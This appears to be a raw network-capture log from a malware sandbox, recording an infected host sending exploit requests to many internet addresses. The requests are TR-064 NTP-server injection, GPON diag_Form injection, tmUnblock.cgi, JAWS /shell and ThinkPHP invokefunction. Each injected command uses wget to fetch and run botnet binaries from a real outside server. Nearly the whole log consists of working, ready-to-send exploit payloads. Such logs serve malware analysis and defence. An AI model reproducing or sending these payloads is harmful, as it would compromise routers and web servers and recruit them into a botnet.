Mar 21, 2024 05:22:41.275901079 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:42.269051075 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
896	192.168.2.14	50448	5.109.75.207	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.362504005 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
897	192.168.2.14	36858	210.155.134.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.362550020 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
898	192.168.2.14	53942	47.192.176.170	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.369945049 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
899	192.168.2.14	45744	172.64.143.112	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.370619059 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
900	192.168.2.14	36118	172.67.126.118	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.371165037 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
901	192.168.2.14	49434	44.212.210.177	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.376566887 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:41.470436096 CET	146	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
902	192.168.2.14	43848	24.236.40.175	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.428113937 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
903	192.168.2.14	43888	24.236.40.175	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.622169018 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:42.653043985 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:43.840980053 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:46.204915047 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
904	192.168.2.14	50620	188.226.137.12	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.660273075 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
905	192.168.2.14	47070	95.216.28.234	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:41.905878067 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:42.102838039 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:42 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {
Mar 21, 2024 05:22:42.102926970 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d Data Ascii: font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-co
Mar 21, 2024 05:22:42.103024006 CET	1286	IN	Data Raw: 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 Data Ascii: { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align
Mar 21, 2024 05:22:42.103116989 CET	1286	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0;
Mar 21, 2024 05:22:42.103173971 CET	1286	IN	Data Raw: 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 Data Ascii: bGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGS
Mar 21, 2024 05:22:42.103255033 CET	1286	IN	Data Raw: 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 Data Ascii: 5U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGE
Mar 21, 2024 05:22:42.103342056 CET	1096	IN	Data Raw: 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 Data Ascii: LWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hX
Mar 21, 2024 05:22:42.103399992 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to sof.brawaa.com's <a href="mailto:root@sof.brawaa.c
Mar 21, 2024 05:22:42.103415966 CET	342	IN	Data Raw: 6e 74 3d 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 72 65 66 65 72 72 61 6c 22 20 74 61 72 67 65 74 3d 22 63 70 61 6e 65 6c 22 20 74 69 74 6c 65 3d 22 63 50 61 6e 65 6c 2c 20 49 6e 63 2e 22 3e 0a 20 20 20 20 20 20 Data Ascii: nt=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <div class="copyright">Copyright 2016 cPanel, In

Session ID	Source IP	Source Port	Destination IP	Destination Port
906	192.168.2.14	41676	73.180.207.49	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:42.374624968 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
907	192.168.2.14	48704	71.11.249.84	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:42.377868891 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:46.462105989 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
908	192.168.2.14	58288	172.66.196.201	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:42.379817963 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:22:42.941068888 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
909	192.168.2.14	37200	172.66.210.55	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:42.379895926 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:22:42.941061974 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
910	192.168.2.14	40086	95.177.119.194	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:42.905503988 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
